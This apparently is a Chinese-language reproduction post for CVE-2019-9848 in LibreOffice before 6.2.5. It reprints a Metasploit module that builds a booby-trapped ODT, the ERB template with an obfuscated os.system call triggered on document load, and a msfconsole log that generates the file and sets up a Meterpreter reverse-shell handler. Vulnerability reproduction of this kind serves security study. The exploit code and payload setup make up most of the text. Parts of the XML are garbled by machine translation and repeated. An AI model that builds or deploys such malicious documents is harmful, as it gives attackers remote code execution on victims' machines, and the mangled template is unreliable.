CVE-2019-9848 LibreOffice < 6.2.5 任意python命令执行漏洞复现

LibreOffice < 6.2.5

https://downloadarchive.documentfoundation.org/libreoffice/old/

### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##
class MetasploitModule < Msf::Exploit::Remote  Rank = NormalRanking
  include Msf::Exploit::FILEFORMAT  include Msf::Exploit::Powershell  include Msf::Exploit::CmdStager
  def initialize(info = {})    super(update_info(info,      'Name'           => 'LibreOffice Macro Python Code Execution',      'Description'    => %q{        LibreOffice comes bundled with sample macros written in Python and        allows the ability to bind program events to them.         LibreLogo is a macro that allows a program event to execute text as Python code, allowing RCE.        This module generates an ODT file with a dom loaded event that,        when triggered, will execute arbitrary python code and the metasploit payload.      },      'License'        => MSF_LICENSE,      'Author'         =>      [        'Nils Emmerich',    # Vulnerability discovery and PoC        'Shelby Pace',      # Based on this module (exploiting CVE-2018-16858)        'LoadLow'           # This msf module      ],      'References'     =>        [          [ 'CVE', 'CVE-2019-9848' ],          [ 'URL', 'https://insinuator.net/2019/07/libreoffice-a-python-interpreter-code-execution-vulnerability-cve-2019-9848/' ]        ],     'Platform'       => [ 'win', 'linux' ],     'Arch'           => [ ARCH_X86, ARCH_X64 ],     'Targets'        =>        [          [            'Windows',            {              'Platform'        =>  'win',              'Arch'            =>  [ ARCH_X86, ARCH_X64 ],              'payload'         =>  'windows/meterpreter/reverse_tcp',              'DefaultOptions'  =>  { 'PrependMigrate'  =>  true }            }          ],          [            'Linux',            {              'Platform'        =>  'linux',              'Arch'            =>  [ ARCH_X86, ARCH_X64 ],              'payload'         =>  'linux/x86/meterpreter/reverse_tcp',              'DefaultOptions'  =>  { 'PrependFork' =>  true },              'CmdStagerFlavor' =>  'printf',            }          ]        ],      'DisclosureDate'  =>  "July 16, 2019",       'DefaultTarget'   =>  0    ))
    register_options(    [      OptString.new('FILENAME', [true, 'Output file name', 'librefile.odt'])    ])  end
  def encode_cmd    @cmd = Rex::Text.html_encode(@cmd)    @cmd = @cmd.gsub("&#x41;", "\\x41")  end
  def gen_windows_cmd    opts =    {      :remove_comspec       =>  true,      :method               =>  'reflection',      :encode_final_payload =>  true    }    @cmd = cmd_psh_payload(payload.encoded, payload_instance.arch.first, opts)  end
  def gen_linux_cmd    @cmd = generate_cmdstager.first    @cmd = @cmd.gsub!("\\", "\\\\\\")    @cmd = @cmd.gsub!("'", "\"")  end
  def gen_file()    text_content = "My Report"    encode_cmd
    fodt_file = File.read(File.join(Msf::Config.data_directory, 'exploits', 'CVE-2019-9848', 'librefile.erb'))    libre_file = ERB.new(fodt_file).result(binding())    libre_file  rescue Errno::ENOENT    fail_with(Failure::NotFound, 'Cannot find template file')  end
  def exploit    if datastore['TARGET'] == 0      gen_windows_cmd    elsif datastore['TARGET'] == 1      gen_linux_cmd    else      fail_with(Failure::BadConfig, 'A formal target was not chosen.')    end    fodt_file = gen_file
    file_create(fodt_file)  endend

usr/share/metasploit-framework/modules/exploit/multi/fileformat/

<？xml  version = “ 1.0 ”  encoding = “ UTF-8 ”？>
/*
* 提示：该行代码过长，系统自动注释不进行高亮。一键复制会移除系统注释 
* <office：document xmlns：office =“urn：oasis：names：tc：opendocument：xmlns：office：1.0”xmlns：style =“urn：oasis：names：tc：opendocument：xmlns：style：1.0”xmlns：text = “urn：oasis：names：tc：opendocument：xmlns：text：1.0”xmlns：table =“urn：oasis：names：tc：opendocument：xmlns：table：1.0”xmlns：draw =“urn：oasis：names：tc ：opendocument：xmlns：drawing：1.0“xmlns：fo =”urn：oasis：names：tc：opendocument：xmlns：xsl-fo-compatible：1.0“xmlns：xlink =”http://www.w3.org/1999 / xlink“xmlns：dc =”http://purl.org/dc/elements/1.1/“xmlns：meta =”urn：oasis：names：tc：opendocument：xmlns：meta：1.0“xmlns：number =”urn ：oasis：names：tc：opendocument：xmlns：datastyle：1.0“xmlns：svg =”urn：oasis：names：tc：opendocument：xmlns：svg-compatible：1.0“xmlns：chart =”urn：oasis：names：tc ：开放文档：的xmlns：图表：1。0“xmlns：dr3d =”urn：oasis：names：tc：opendocument：xmlns：dr3d：1.0“xmlns：math =”http://www.w3.org/1998/Math/MathML“xmlns：form =”urn ：oasis：names：tc：opendocument：xmlns：form：1.0“xmlns：script =”urn：oasis：names：tc：opendocument：xmlns：script：1.0“xmlns：config =”urn：oasis：names：tc：opendocument ：xmlns：config：1.0“xmlns：ooo =”http://openoffice.org/2004/office“xmlns：ooow =”http://openoffice.org/2004/writer“xmlns：oooc =”http：// openoffice.org/2004/calc“xmlns：dom =”http://www.w3.org/2001/xml-events“xmlns：xforms =”http://www.w3.org/2002/xforms“xmlns： xsd =“http://www.w3.org/2001/XMLSchema”xmlns：xsi =“http://www.w3.org/2001/XMLSchema-instance”xmlns：rpt =“http://openoffice.org / 2005 / report“xmlns：of =”urn：oasis：names：tc：opendocument：xmlns：of：1.2“xmlns：xhtml =”http://www.w3.org/1999/xhtml“xmlns：grddl =”http://www.w3.org/2003/g/data-view#“xmlns ：officeooo =“http://openoffice.org/2009/office”xmlns：tableooo =“http://openoffice.org/2009/table”xmlns：drawooo =“http://openoffice.org/2010/draw” xmlns：calcext =“urn：org：documentfoundation：names：experimental：calc：xmlns：calcext：1.0”xmlns：loext =“urn：org：documentfoundation：names：experimental：office：xmlns：loext：1.0”xmlns：field = “urn：openoffice：names：experimental：ooo-ms-interop：xmlns：field：1.0”xmlns：formx =“urn：openoffice：names：experimental：ooxml-odf-interop：xmlns：form：1.0”xmlns：css3t = “http://www.w3.org/TR/css3-text/”office：version =“1.2”office：mimetype =“application / vnd.oasis.opendocument.text”>xhtml =“http://www.w3.org/1999/xhtml”xmlns：grddl =“http://www.w3.org/2003/g/data-view#”xmlns：officeooo =“http：// openoffice.org/2009/office“xmlns：tableooo =”http://openoffice.org/2009/table“xmlns：drawooo =”http://openoffice.org/2010/draw“xmlns：calcext =”urn：org ：documentfoundation：names：experimental：calc：xmlns：calcext：1.0“xmlns：loext =”urn：org：documentfoundation：names：experimental：office：xmlns：loext：1.0“xmlns：field =”urn：openoffice：names：experimental ：ooo-ms-interop：xmlns：field：1.0“xmlns：formx =”urn：openoffice：names：experimental：ooxml-odf-interop：xmlns：form：1.0“xmlns：css3t =”http：//www.w3 .org / TR / css3-text /“office：version =”1.2“office：mimetype =”application / vnd.oasis.opendocument.text“>xhtml =“http://www.w3.org/1999/xhtml”xmlns：grddl =“http://www.w3.org/2003/g/data-view#”xmlns：officeooo =“http：// openoffice.org/2009/office“xmlns：tableooo =”http://openoffice.org/2009/table“xmlns：drawooo =”http://openoffice.org/2010/draw“xmlns：calcext =”urn：org ：documentfoundation：names：experimental：calc：xmlns：calcext：1.0“xmlns：loext =”urn：org：documentfoundation：names：experimental：office：xmlns：loext：1.0“xmlns：field =”urn：openoffice：names：experimental ：ooo-ms-interop：xmlns：field：1.0“xmlns：formx =”urn：openoffice：names：experimental：ooxml-odf-interop：xmlns：form：1.0“xmlns：css3t =”http：//www.w3 .org / TR / css3-text /“office：version =”1.2“office：mimetype =”application / vnd.oasis.opendocument.text“>xmlns：grddl =“http://www.w3.org/2003/g/data-view#”xmlns：officeooo =“http://openoffice.org/2009/office”xmlns：tableooo =“http：// openoffice.org/2009/table“xmlns：drawooo =”http://openoffice.org/2010/draw“xmlns：calcext =”urn：org：documentfoundation：names：experimental：calc：xmlns：calcext：1.0“xmlns：loext =“urn：org：documentfoundation：names：experimental：office：xmlns：loext：1.0”xmlns：field =“urn：openoffice：names：experimental：ooo-ms-interop：xmlns：field：1.0”xmlns：formx = “urn：openoffice：names：experimental：ooxml-odf-interop：xmlns：form：1.0”xmlns：css3t =“http://www.w3.org/TR/css3-text/”office：version =“1.2”办公室：mime类型= “应用/ vnd.oasis.opendocument.text”>xmlns：grddl =“http://www.w3.org/2003/g/data-view#”xmlns：officeooo =“http://openoffice.org/2009/office”xmlns：tableooo =“http：// openoffice.org/2009/table“xmlns：drawooo =”http://openoffice.org/2010/draw“xmlns：calcext =”urn：org：documentfoundation：names：experimental：calc：xmlns：calcext：1.0“xmlns：loext =“urn：org：documentfoundation：names：experimental：office：xmlns：loext：1.0”xmlns：field =“urn：openoffice：names：experimental：ooo-ms-interop：xmlns：field：1.0”xmlns：formx = “urn：openoffice：names：experimental：ooxml-odf-interop：xmlns：form：1.0”xmlns：css3t =“http://www.w3.org/TR/css3-text/”office：version =“1.2”办公室：mime类型= “应用/ vnd.oasis.opendocument.text”>//openoffice.org/2009/office“xmlns：tableooo =”http://openoffice.org/2009/table“xmlns：drawooo =”http://openoffice.org/2010/draw“xmlns：calcext =”urn ：org：documentfoundation：names：experimental：calc：xmlns：calcext：1.0“xmlns：loext =”urn：org：documentfoundation：names：experimental：office：xmlns：loext：1.0“xmlns：field =”urn：openoffice：names ：experimental：ooo-ms-interop：xmlns：field：1.0“xmlns：formx =”urn：openoffice：names：experimental：ooxml-odf-interop：xmlns：form：1.0“xmlns：css3t =”http：// www .w3.org / TR / css3-text /“office：version =”1.2“office：mimetype =”application / vnd.oasis.opendocument.text“>//openoffice.org/2009/office“xmlns：tableooo =”http://openoffice.org/2009/table“xmlns：drawooo =”http://openoffice.org/2010/draw“xmlns：calcext =”urn ：org：documentfoundation：names：experimental：calc：xmlns：calcext：1.0“xmlns：loext =”urn：org：documentfoundation：names：experimental：office：xmlns：loext：1.0“xmlns：field =”urn：openoffice：names ：experimental：ooo-ms-interop：xmlns：field：1.0“xmlns：formx =”urn：openoffice：names：experimental：ooxml-odf-interop：xmlns：form：1.0“xmlns：css3t =”http：// www .w3.org / TR / css3-text /“office：version =”1.2“office：mimetype =”application / vnd.oasis.opendocument.text“>documentfoundation：names：experimental：calc：xmlns：calcext：1.0“xmlns：loext =”urn：org：documentfoundation：names：experimental：office：xmlns：loext：1.0“xmlns：field =”urn：openoffice：names：experimental：ooo-ms-interop：xmlns：field：1.0“xmlns：formx =”urn：openoffice：names：experimental：ooxml-odf-interop：xmlns：form：1.0“xmlns：css3t =”http：//www.w3。org / TR / css3-text /“office：version =”1.2“office：mimetype =”application / vnd.oasis.opendocument.text“>documentfoundation：names：experimental：calc：xmlns：calcext：1.0“xmlns：loext =”urn：org：documentfoundation：names：experimental：office：xmlns：loext：1.0“xmlns：field =”urn：openoffice：names：experimental：ooo-ms-interop：xmlns：field：1.0“xmlns：formx =”urn：openoffice：names：experimental：ooxml-odf-interop：xmlns：form：1.0“xmlns：css3t =”http：//www.w3。org / TR / css3-text /“office：version =”1.2“office：mimetype =”application / vnd.oasis.opendocument.text“>w3.org/TR/css3-text/“office：version =”1.2“office：mimetype =”application / vnd.oasis.opendocument.text“>w3.org/TR/css3-text/“office：version =”1.2“office：mimetype =”application / vnd.oasis.opendocument.text“>< office：meta > < meta：creation-date > 2019-01-30T10：53：06.762000000 </ meta：creation-date > < dc：date > 2019-01-30T10：53：49.512000000 </ dc：date > < meta：editing-duration > PT44S </ meta：editing-duration > < meta：editing-cycles > 1 </ meta：editing-cycles > < meta：document-statistic  meta：table-count = “ 0 ”  meta：image- count = “ 0 ”  meta：object-count = “ 0 ”  meta：page-count = “ 1 ” meta：paragraph-count = “ 1 ”  meta：word-count = “ 1 ”  meta：character-count = “ 4 ”  meta：non-whitespace-character-count = “ 4 ” /> < meta：generator > LibreOffice / 6.1 .2.1 $ Windows_X86_64 LibreOffice_project / 65905a128db06ba48db947242809d14d3f9a93fe </ meta：generator > </ office：meta >< office：scripts > < office：event-listeners > < script：event-listener  script：language = “ ooo：script ”  script：event-name = “ dom：load ”  xlink：href = “ vnd.sun.star.script ：LibreLogo | LibreLogo.py $ run？language = Python ＆amp ; location = share “  xlink：type = ” simple “ /> </ office：event-listeners > </ office：scripts >< office：styles >  < style：default-style  style：family = “ graphic ” >   < style：graphic-properties  svg：stroke-color = “＃3465a4 ”  draw：fill-color = “＃729fcf ”  fo：wrap-option = “ no-wrap ”  draw：shadow-offset-x = “ 0.1181in ”  draw ：shadow-offset-y = “ 0.1181in ”  draw：start-line-spacing-horizontal = “ 0.1114in ”  draw：start-line-spacing-vertical = “ 0.1114in ”  draw：end-line-spacing-horizontal = “ 0。1114in “ draw：end-line-spacing-vertical = “ 0.1114in ”  style：flow-with-text = “ false ” />   < style：paragraph-properties  style：text-autospace = “ ideograph-alpha ”  style：line-break = “ strict ”  style：font-independent-line-spacing = “ false ” >    < style：tab-stops />   </ style：paragraph-properties >   < style：text-properties  style：use-window-font-color = “ true ”  style：font-name = “ Liberation Serif ”  fo：font-size = “ 96pt ”  fo：language = “ en ”  fo：country = “美国“  style：letter-kerning = ” true “  style：font-name-asian = ” NSimSun “  style：font-size-asian = ” 96pt “  style：language-asian = “ zh“  style：country-asian = ” CN “  style：font-name-complex = ” Arial “  style：font-size-complex = ” 96pt “  style：language-complex = ” hi “  style：country-complex = ” IN “ />  </ style：default-style >  < style：default-style  style：family = “ paragraph ” >   < style：paragraph-properties  fo：orphans = “ 2 ”  fo：widows = “ 2 ”  fo：hyphenation-ladder-count = “ no-limit ”  style：text-autospace = “ ideograph-alpha ”  style：punctuation-wrap = “悬挂” 样式：line-break = “ strict ” 样式：tab-stop-distance = “ 0.4925in ” 样式：writing-mode = “ page ” />   < style：text-properties  style：use-window-font-color = “ true ”  style：font-name = “ Liberation Serif ”  fo：font-size = “ 96pt ”  fo：language = “ en ”  fo：country = “美国“  style：letter-kerning = ” true “  style：font-name-asian = ” NSimSun “  style：font-size-asian = ” 96pt “  style：language-asian = “ zh “  style：country-asian = ” CN “  style：font-name-complex = ” Arial “  style：font-size-complex = ” 96pt “  style：language-complex = ” hi “  style：country-complex = ” IN “  fo：hyphenate = “ false ”  fo：hyphenation-remain-char-count = “ 2 ”  fo：hyphenation-push-char-count = “ 2 ” />  </ style：default-style >  < style：default-style  style：family = “ table ” >   < style：table-properties  table：border-model = “ collapsing ” />  </ style：default-style >  < style：default-style  style：family = “ table-row ” >   < style：table-row-properties  fo：keep-together = “ auto ” />  </ style：default-style >  < style：style  style：name = “ Standard ”  style：family = “ paragraph ”  style：class = “ text ”  fo：color = “＃fffffff ” />  < style：style  style：name = “ Text_20_body ”  style：display-name = “ Text body ”  style：family = “ paragraph ”  style：parent-style-name = “ Standard ”  style：class = “ text ” >   < style：paragraph-properties  fo：margin-top = “ 0in ”  fo：margin-bottom = “ 0.0972in ”  loext：contextual-spacing = “ false ”  fo：line-height = “ 20％” />  </ style：style >  < style：style  style：name = “ Internet_20_link ”  style：display-name = “ Internet link ”  style：family = “ text ” >   < style：text-properties  fo：color = “＃ fffffff ” fo：language = “ zxx ”  fo：country = “ none ”  style：text-underline-style = “ solid ”  style：text-underline-width = “ auto ”  style：text-underline-color = “ font-color ” 样式：language-asian = “ zxx ” 样式：country-asian = “ none ” 样式：language-complex = “ zxx“  style：country-complex = ” none “ />  </ style：style >  < style：style  style：name = “ P8 ”  style：family = “ paragraph ”  style：parent-style-name = “ Preformatted_20_Text ” > < style：text-properties  fo：color = “ #ffffff ”  fo：font-size = “ 2pt ”  officeooo：rsid = “ 00443c94 ”  officeooo：paragraph-rsid = “ 00443c94 ”  style：font-size-asian = “ 2pt ” 风格：字体大小，复杂= “ 2pt ” /> </ style：style ></ office：styles >< office：master-styles >  < style：master-page  style：name = “ Standard ”  style：page-layout-name = “ pm1 ” /></ office：master-styles >< office：body >  < office：text >  < text：p  text：style-name = “ P8 ” > ＆＃x67 ;＆＃x65 ;＆＃x74 ;＆＃x61 ;＆＃x74 ;＆＃x74 ;＆＃x72 ; （＆＃x5f ;＆＃x5f ;＆＃x69 ;＆＃x6d ;＆＃x70 ;＆＃x6f ;＆＃x72 ;＆＃x74 ;＆＃x5f ;＆＃x5f ;（＆＃x201C ; \ x6f \ ＆#x78 ; 73＆＃x201D ; ），＆＃x201C ; \ ＆＃x78 ; 73 ＆＃x78 ; 79 \ ＆＃x78 ; 73 ＆＃x78 ; 74 \ x65 \ ＆＃x78 ; 6d ＆＃x201D ; ）（“ <％= @ cmd％> ”）</ text：p >    < text：p  text：style-name = “ Standard ” >＃<％= text_content ％> </ text：p >  </ office：text ></ office：body ></ office：document >
*/

/usr/share/metasploit-framework/data/exploits/CVE-2019-9848/

root@kali:~# msfconsole [-] ***rting the Metasploit Framework console...-[-] * WARNING: No database support: No database YAML file[-] ***                                                  IIIIII    dTb.dTb        _.---._  II     4'  v  'B   .'"".'/|\`.""'.  II     6.     .P  :  .' / | \ `.  :  II     'T;. .;P'  '.'  /  |  \  `.'  II      'T; ;P'    `. /   |   \ .'IIIIII     'YvP'       `-.__|__.-'
I love shells --egypt

       =[ metasploit v5.0.38-dev                          ]+ -- --=[ 1913 exploits - 1073 auxiliary - 329 post       ]+ -- --=[ 545 payloads - 45 encoders - 10 nops            ]+ -- --=[ 3 evasion                                       ]
msf5 > msf5 > use exploit/multi/fileformat/libreoffice_logo_exec msf5 exploit(multi/fileformat/libreoffice_logo_exec) > set LHOST 172.16.1.134LHOST => 172.16.1.134msf5 exploit(multi/fileformat/libreoffice_logo_exec) > set LPORT 4567LPORT => 4567msf5 exploit(multi/fileformat/libreoffice_logo_exec) > set payload windows/x64/meterpreter/reverse_tcppayload => windows/meterpreter/reverse_tcpmsf5 exploit(multi/fileformat/libreoffice_logo_exec) > run
[+] librefile.odt stored at /root/.msf4/local/librefile.odtmsf5 exploit(multi/fileformat/libreoffice_logo_exec) > msf5 exploit(multi/fileformat/libreoffice_logo_exec) > 

msf5 exploit(multi/fileformat/libreoffice_logo_exec) > use exploit/multi/handler msf5 exploit(multi/handler) > msf5 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcppayload => windows/x64/meterpreter/reverse_tcpmsf5 exploit(multi/handler) > set LHOST 172.16.1.134LHOST => 172.16.1.134msf5 exploit(multi/handler) > set LPORT  4567LPORT => 4567msf5 exploit(multi/handler) > exploit 
[*] Started reverse TCP handler on 172.16.1.134:4567 

import osos.system("calc")os.system("notepad")run

<script:event-listener script:language="ooo:script" script:event-name="dom:mouseover" xlink:href="vnd.sun.star.script:pythonSamples|TableSample.py$createTable?language=Python&amp;location=share" xlink:type="simple"/>